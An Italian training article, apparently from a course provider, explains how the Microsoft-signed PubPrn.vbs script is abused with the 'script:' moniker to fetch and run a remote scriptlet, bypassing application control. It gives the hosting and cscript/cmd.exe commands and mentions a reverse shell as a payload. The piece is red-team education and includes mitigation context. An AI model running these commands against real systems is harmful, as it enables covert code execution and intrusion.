Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
PubPrn.vbs è uno script Visual Basic incluso nativamente nelle installazioni Windows, progettato per pubblicare stampanti su Active Directory Domain Services. La sua firma digitale Microsoft lo rende un candidato perfetto per una tecnica nota come proxy execution: un avversario non esegue direttamente il proprio codice malevolo, ma lo fa transitare attraverso un binario o script considerato legittimo dal sistema operativo e dalle soluzioni di sicurezza.
La tecnica ricade nella tattica Defense Evasion (TA0005), la fase della kill chain in cui l'attaccante lavora per sfuggire ai controlli. Lo sfruttamento avviene manipolando il secondo parametro dello script: anziché passare un percorso LDAP legittimo, l'attaccante specifica il moniker script: seguito da un riferimento a un file scriptlet (.sct) ospitato su un server remoto. Lo script firmato Microsoft diventa così un vettore di download ed esecuzione, aggirando application control e validazione delle firme digitali.
Un dettaglio cruciale: a partire da Windows 10, Microsoft ha mitigato il problema limitando il secondo parametro al solo protocollo LDAP://, bloccando l'uso del moniker script:. Questo significa che la tecnica è efficace principalmente su sistemi legacy — un dato che non ne riduce la pericolosità, considerando quanti ambienti enterprise mantengono ancora macchine Windows 7 o Server 2008 R2 in produzione.
L'obiettivo in un esercizio red team è dimostrare che l'ambiente non rileva o non blocca l'abuso di script firmati Microsoft. PubPrn è un classico Living Off the Land Binary (LOLBin) — o meglio, LOLScript — e la catena d'attacco è sorprendentemente lineare.
Il primo passo è preparare il payload. Serve un file scriptlet (.sct) che contenga codice COM scriptlet valido. In un laboratorio controllato, il file .sct può lanciare un semplice calc.exe come proof of concept, oppure una reverse shell per dimostrare l'impatto completo. Il file va ospitato su un web server sotto il tuo controllo — un semplice listener Python è sufficiente:
python3 -m http.server 8080
Sul sistema target, l'esecuzione avviene invocando cscript con PubPrn.vbs. Il percorso dello script varia leggermente tra le versioni di Windows, ma di norma si trova in C:\Windows\System32\Printing_Admin_Scripts\en-US\. Il comando canonico è:
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:
Il flag /b sopprime l'output a console, rendendo l'esecuzione meno visibile. Il primo parametro (127.0.0.1) è il server di stampa, ma nel contesto dell'abuso è irrilevante — l'esecuzione del codice remoto avviene tramite il secondo parametro con il moniker script:.
Per un test più realistico, concatena l'esecuzione all'interno di una catena di comandi via cmd.exe, simulando uno scenario dove un documento macro o un initial access dropper lancia lo script:
cmd.exe /c cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs "" script:
Alcuni punti operativi da tenere a mente durante il test:
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo